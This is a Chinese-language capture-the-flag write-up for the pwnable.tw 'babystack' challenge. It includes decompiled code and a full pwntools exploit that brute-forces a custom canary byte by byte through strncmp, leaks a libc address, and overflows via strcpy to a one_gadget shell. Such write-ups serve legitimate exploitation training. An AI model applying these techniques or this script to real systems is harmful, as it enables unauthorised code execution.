前言
这是一道组合溢出的题目,与常见的栈溢出不同,故记录一下。
程序分析
保护机制
1 2 3 4 5 6 7 8
| ➜ babystack checksec ./babystack [*] '/mnt/hgfs/shared/tw/babystack/babystack' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
|
保护全开,既然是栈溢出,那么泄露canary是必不可少的。
主要函数
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { _QWORD *v3; __int64 v4; char v6; __int64 buf; __int64 v8; char v9;
sub_D30(); dword_202018[0] = open("/dev/urandom", 0); read(dword_202018[0], &buf, 0x10uLL); v3 = qword_202020; v4 = v8; *(_QWORD *)qword_202020 = buf; v3[1] = v4; close(dword_202018[0]); while ( 1 ) { write(1, ">> ", 3uLL); _read_chk(0LL, (__int64)&v9, 16LL, 16LL); if ( v9 == '2' ) break; if ( v9 == '3' ) { if ( is_login ) copy(&v6); else puts("Invalid choice"); } else if ( v9 == '1' ) { if ( is_login ) is_login = 0; else login((const char *)&buf); } else { puts("Invalid choice"); } } if ( !is_login ) exit(0); if ( memcmp(&buf, qword_202020, 0x10uLL) ) JUMPOUT(loc_100B); return 0LL; }
|
首先读取16字节的随机数到栈上,并赋值给bss段上qword_202020。接着进入while循环,函数结束时会判断buf和qword_202020的值。可以发现这里的canary保护和常规的有点不同,因此需要泄露buf的值。
下面进入循环:
login函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __fastcall login(const char *a1) { size_t v1; char s;
printf("Your passowrd :"); sub_CA0((unsigned __int8 *)&s, 0x7Fu); v1 = strlen(&s); if ( strncmp(&s, a1, v1) ) return puts("Failed !"); is_login = 1; return puts("Login Success !"); }
|
当is_login==0时会进入login函数,这里首先读取数据到栈上,然后和buf的值进行strncmp判断。这里有两种绕过方法:
1、利用‘\x00’进行截断,因为strlen碰上’\x00’ 和’\x0a’会产生阶段,因此可以直接绕过strncmp的判断
2、逐字节进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def bf(length,s1 = ''): while(1): for i in range(1,256): if i == 10: continue s2 = s1 + chr(i) login(s2+'\x00') if "Success" in p.recv(): s1 = s2 print "[+]found!" logout() sleep(1) break if len(s2) == length: break return s1
|
copy函数
1 2 3 4 5 6 7 8 9
| int __fastcall copy(char *a1) { char src;
printf("Copy :"); sub_CA0((unsigned __int8 *)&src, 0x3Fu); strcpy(a1, &src); return puts("It is magic copy !"); }
|
当is_login==1时,该函数会将当前栈上读入的数据strcpy到main函数的栈上。
这里的漏洞点在于copy函数和login函数的栈空间相同,而login函数可以读入0x7f个字节,这在copy到main函数栈上时将会产生溢出。
解题思路
1、利用strncmp爆破出canary的值
2、利用copy函数布置好栈空间,利用strncmpbaopo出libc的地址
3、因为strcpy会有’\x00’阶段,因此无法使用ROP,需要计算出one_gadget一发入魂
4、利用copy函数进行溢出并将返回地址覆盖成one_gadget
完整脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
context.log_level = 'debug'
p = remote("chall.pwnable.tw",10205)
libc = ELF("libc_64.so.6") se = lambda x: p.send(x) s = lambda x,y: p.sendafter(x,y)
def login(passwd): se("1") s("passowrd :",passwd)
def logout(): s(">>","1") def copy(cnt): s(">>","3") s("Copy :",cnt)
def gd(): gdb.attach(p)
def bf(length,s1 = ''): while(1): for i in range(1,256): if i == 10: continue s2 = s1 + chr(i) login(s2+'\x00') if "Success" in p.recv(): s1 = s2 print "[+]found!" logout() sleep(1) break if len(s2) == length: break return s1
def leak(length,s1 = ''): while(1): for i in range(1,256): if i == 10: continue s2 = s1 + chr(i) login('a'*0x10+'1'+'a'*0x7+s2+'\x00') if "Success" in p.recv(): s1 = s2 print "[+]found!" logout() sleep(1) break if len(s2) == length: break return s1
magic = bf(16) login('\x00'+'a'*0x57) copy("b"*0x20) logout() base = leak(6) libc_base = u64(base.ljust(8,'\x00')) - 0x6ffb4 one = 0xf0567 + libc_base print hex(libc_base) login('\x00'+'c'*0x3f+magic+'a'*0x18+p64(one)) copy("b"*0x20) se("2")
p.interactive()
|
结果如下